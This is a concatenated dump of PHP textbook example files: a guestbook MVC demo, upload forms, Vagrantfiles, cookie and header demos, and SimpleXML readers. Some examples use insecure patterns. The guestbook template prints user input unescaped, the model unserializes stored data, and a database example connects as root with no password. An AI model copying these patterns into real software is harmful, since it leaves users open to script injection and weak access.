1 | a:2:{i:1451905638;a:2:{s:4:"name";s:6:"fdsfds";s:4:"text";s:5:"fdfds";}i:1451905634;a:2:{s:4:"name";s:6:"fdsfds";s:4:"text";s:6:"fdsfds";}}


--------------------------------------------------------------------------------
/template/mvc/model.php:
--------------------------------------------------------------------------------
 1 | <?php ## MVC. Модель (ядро) гостевой книги.
 2 |   // Загружает гостевую книгу с диска. Возвращает содержание книги.
 3 |   function loadBook($fname) {
 4 |     if (!file_exists($fname)) return [];
 5 |     $Book = unserialize(file_get_contents($fname)); 
 6 |     return $Book;
 7 |   }
 8 |   // Сохраняет содержимое книги на диске.
 9 |   function saveBook($fname, $book) {
10 |     file_put_contents($fname, serialize($book));
11 |   }


--------------------------------------------------------------------------------
/template/mvc/passive/controller.php:
--------------------------------------------------------------------------------
 1 | <?php ## MVC. Контроллер системы с пассивным Шаблоном.
 2 |   require_once "HTML/Template/IT.php";
 3 |   require_once "../model.php";
 4 |   // Инициализируем систему шаблонов.
 5 |   $tpl = new HTML_Template_IT(".");
 6 |   $tpl->loadTemplatefile("view.htm", true, true);
 7 |   // Загружаем данные гостевой книги.
 8 |   $book = loadBook("gbook.dat");
 9 |   // В цикле генерируем HTML-код книги.
10 |   foreach ($book as $id => $e) {
11 |     $tpl->setCurrentBlock("book_element") ;
12 |     $tpl->setVariable("NAME", $e['name']);
13 |     $tpl->setVariable("TEXT", nl2br($e['text']));
14 |     $tpl->parseCurrentBlock();
15 |   }
16 |   // Выводим результат.
17 |   $tpl->show();
18 | 


--------------------------------------------------------------------------------
/template/mvc/passive/gbook.dat:
--------------------------------------------------------------------------------
1 | a:2:{i:1091374571;a:2:{s:4:"name";s:1:"1";s:4:"text";s:69:"asato ma sad gamaya
2 | tamaso ma jyotir gamaya
3 | mrtyor mamrtam gamaya
4 | ";}i:1091374563;a:2:{s:4:"name";s:1:"2";s:4:"text";s:90:"vidyam cavidyam ca yas
5 | tad vedobhayam saha
6 | avidyaya mrtyum tirtva
7 | vidyayamrtam asnute
8 | ";}}


--------------------------------------------------------------------------------
/template/mvc/passive/view.htm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/template/mvc/passive/view.htm


--------------------------------------------------------------------------------
/template/mvc/view.php:
--------------------------------------------------------------------------------
 1 | <!-- MVC. Шаблон гостевой книги. -->
 2 | <html><head><title>Гостевая книга</title></head>
 3 | <body>
 4 | <h1>Добавьте свое сообщение:</h1>
 5 | <form action="controller.php" method="post">
 6 |   Ваше имя: <input type="text" name="new[name]"><br />
 7 |   Комментарий:<br />
 8 |   <textarea name="new[text]" cols="60" rows="5"></textarea><br />
 9 |   <input type="submit" name="doAdd" value="Добавить!">
10 | </form>
11 | <h2>Гостевая книга:</h2>
12 | <?php foreach ($book as $id => $e) { ?>
13 |   Имя человека: <?=$e['name']?><br />
14 |   Его комментарий:<br /> <?=nl2br($e['text'])?><hr />
15 | <?php } ?>
16 | </body></html> 
17 | 


--------------------------------------------------------------------------------
/template/news.txt:
--------------------------------------------------------------------------------
1 | 22.06.2004. Лоуренс Фишберн - снова спаситель человечества. На этот раз - африканских детей.
2 | 26.06.2004. Тело человека станет частью компьютерной сети
3 | 27.06.2004. Первая официальная экскурсия по городу в Matrix Online.


--------------------------------------------------------------------------------
/test:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/igorsimdyanov/php7/4796eaffdd9633bd3f3bbd9985c48da05093d4ef/test


--------------------------------------------------------------------------------
/upload/complex.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang='ru'>
 3 | <head>
 4 |   <title>PHP автоматически создает переменные при закачке</title>
 5 |   <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 |   <?php ## PHP обрабатывает и сложные имена полей закачки.
 9 |     if (@$_REQUEST['doUpload']) 
10 |       echo '<pre>Содержимое $_FILES: '.print_r($_FILES, true)."</pre><hr />";
11 |   ?>
12 |   <form action="<?=$_SERVER['SCRIPT_NAME']?>" method="POST" enctype="multipart/form-data">
13 |   <h3>Выберите тип файлов в вашей системе:</h3>
14 |   Текстовый файл: <input type="file" name="input[a][text]"><br />
15 |   Бинарный файл: <input type="file" name="input[a][bin]"><br />
16 |   <input type="submit" name="doUpload" value="Отправить файлы">
17 |   </form>
18 | </body>
19 | </html>


--------------------------------------------------------------------------------
/upload/test.php:
--------------------------------------------------------------------------------
 1 | <!DOCTYPE html>
 2 | <html lang='ru'>
 3 | <head>
 4 |   <title>PHP автоматически создает переменные при закачке</title>
 5 |   <meta charset='utf-8'>
 6 | </head>
 7 | <body>
 8 |   <?php ## PHP автоматически создает переменные при закачке.
 9 |   if (@$_REQUEST['doUpload']) 
10 |     echo '<pre>Содержимое $_FILES: '.print_r($_FILES, true)."</pre><hr />";
11 |   ?>
12 |   Выберите какой-нибудь файл в форме ниже:
13 |   <form action="<?=$_SERVER['SCRIPT_NAME']?>" method="POST" enctype="multipart/form-data">
14 |     <input type="file" name="myFile">
15 |     <input type="submit" name="doUpload" value="Закачать">
16 |   </form>
17 | </body></html>


--------------------------------------------------------------------------------
/vagrant/Vagrantfile01:
--------------------------------------------------------------------------------
1 | Vagrant.configure(2) do |config|
2 |   config.vm.box = "ubuntu/trusty64"
3 | end
4 | 


--------------------------------------------------------------------------------
/vagrant/Vagrantfile02:
--------------------------------------------------------------------------------
1 | Vagrant.configure(2) do |config|
2 |   config.vm.box = "ubuntu/trusty64"
3 |   config.vm.provider "virtualbox" do |vb|
4 |     vb.memory = "2048"
5 |   end
6 | end
7 | 


--------------------------------------------------------------------------------
/vagrant/Vagrantfile03:
--------------------------------------------------------------------------------
1 | Vagrant.configure(2) do |config|
2 |   config.vm.box = "ubuntu/trusty64"
3 |   config.vm.network "forwarded_port", guest: 80, host: 8080
4 | end
5 | 


--------------------------------------------------------------------------------
/vagrant/Vagrantfile04:
--------------------------------------------------------------------------------
1 | Vagrant.configure(2) do |config|
2 |   config.vm.box = "ubuntu/trusty64"
3 |   config.vm.network "forwarded_port", guest: 80, host: 8080
4 |   config.vm.provision "shell", inline: <<-SHELL
5 |   sudo apt-get update
6 |   sudo apt-get install -y nginx
7 |   SHELL
8 | end
9 | 


--------------------------------------------------------------------------------
/www/getallheaders.php:
--------------------------------------------------------------------------------
1 | <?php ## Получение заголовков запроса.
2 |   $headers = getallheaders();
3 |   Header("Content-type: text/plain");
4 |   print_r($headers);
5 | ?>


--------------------------------------------------------------------------------
/www/lib/nocache.php:
--------------------------------------------------------------------------------
 1 | <?php ## Функция для запрета кэширования страницы браузером.
 2 |   function nocache() {
 3 |     header("Expires: Thu, 19 Feb 1998 13:24:18 GMT");
 4 |     header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
 5 |     header("Cache-Control: no-cache, must-revalidate");
 6 |     header("Cache-Control: post-check=0,pre-check=0");
 7 |     header("Cache-Control: max-age=0");
 8 |     header("Pragma: no-cache");
 9 |   }
10 | ?>


--------------------------------------------------------------------------------
/www/parse_str.php:
--------------------------------------------------------------------------------
1 | <?php ## Ручной разбор QUERY_STRING.
2 |   $str = "sullivan=paul&names[roy]=noni&names[read]=tom";
3 |   parse_str($str, $out);
4 |   echo "<pre>"; print_r($out); echo "</pre>";
5 | ?>


--------------------------------------------------------------------------------
/www/parse_url.php:
--------------------------------------------------------------------------------
1 | <?php ## Пример разбора URL.
2 |   $url = "http://username:password@host.com:80/path?arg=value#anchor";
3 |   echo "<pre>"; print_r(parse_url($url)); echo "</pre>";
4 | ?>


--------------------------------------------------------------------------------
/www/sillycount.php:
--------------------------------------------------------------------------------
1 | <?php ## Счетчик посещения страницы одним пользователем.
2 |   $counter = isset($_COOKIE['counter']) ? $_COOKIE['counter'] : 0;
3 |   $counter++;
4 |   setcookie("counter", $counter, 0x7FFFFFFF);
5 |   # Внимание! $_COOKIE['counter'] этот вызов не обновляет!
6 |   # Новое значение будет доступно только при следующем посещении.
7 |   echo "Вы запустили этот сценарий $counter раз(а).";
8 | ?>


--------------------------------------------------------------------------------
/xml/array.php:
--------------------------------------------------------------------------------
1 | <?php ## Коллекция тэгов
2 |   $content = file_get_contents('rss.xml');
3 |   $rss = new SimpleXMLElement($content);
4 |   foreach($rss->channel->item as $item) {
5 |     echo date("Y.m.d H:i", strtotime($item->pubDate))." ";
6 |     echo $item->title."<br />";
7 |   }
8 | 


--------------------------------------------------------------------------------
/xml/attributes.php:
--------------------------------------------------------------------------------
1 | <?php ## Доступ к атрибутам тэгов
2 |   $content = file_get_contents('rss.xml');
3 |   $rss = new SimpleXMLElement($content);
4 |   foreach($rss->channel->item as $item) {
5 |     echo $item->enclosure['url']."<br />";
6 |   }
7 | 


--------------------------------------------------------------------------------
/xml/attributes_list.php:
--------------------------------------------------------------------------------
1 | <?php ## Список атрибутов
2 |   $content = file_get_contents('rss.xml');
3 |   $rss = new SimpleXMLElement($content);
4 |   foreach($rss->channel->item[0]->enclosure->attributes() as $name => $value) {
5 |     echo "{$name} = {$value}<br />";
6 |   }


--------------------------------------------------------------------------------
/xml/connect.php:
--------------------------------------------------------------------------------
 1 | <?php ## Соединение с базой данных
 2 |   try {
 3 |     $pdo = new PDO(
 4 |       'mysql:host=localhost;dbname=test',
 5 |       'root',
 6 |       '',
 7 |       [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
 8 |   }
 9 |   catch (PDOException $e) {
10 |     echo "Невозможно установить соединение с базой данных";
11 |   }
12 | ?>


--------------------------------------------------------------------------------
/xml/count.php:
--------------------------------------------------------------------------------
1 | <?php ## Количество элементов в коллекции
2 |   $content = file_get_contents('rss.xml');
3 |   $rss = new SimpleXMLElement($content);
4 |   echo $rss->channel->item->count(); // 3
5 | 


--------------------------------------------------------------------------------
/xml/enclosure.php:
--------------------------------------------------------------------------------
1 | <?php ## Извлечение тэгов <enclosure>
2 |   $content = file_get_contents('rss.xml');
3 |   $rss = new SimpleXMLElement($content);
4 |   foreach($rss->xpath('//enclosure') as $enclosure) {
5 |     echo $enclosure['url'].'<br />';
6 |   }
7 | 


--------------------------------------------------------------------------------
/xml/read.php:
--------------------------------------------------------------------------------
1 | <?php ## Чтение XML-файла
2 |   $content = file_get_contents('rss.xml');
3 |   $rss = new SimpleXMLElement($content);
4 |   echo $rss->channel->title."<br />"; // PHP
5 |   echo $rss->channel->description."<br />"; // Портал, посвященный PHP
6 | 


--------------------------------------------------------------------------------
/xml/xpath.php:
--------------------------------------------------------------------------------
1 | <?php ## Новый список атрибутов
2 |   $content = file_get_contents('rss.xml');
3 |   $rss = new SimpleXMLElement($content);
4 |   foreach($rss->xpath('//item[1]/enclosure/@*') as $attr) {
5 |     echo "{$attr}<br />";
6 |   }


--------------------------------------------------------------------------------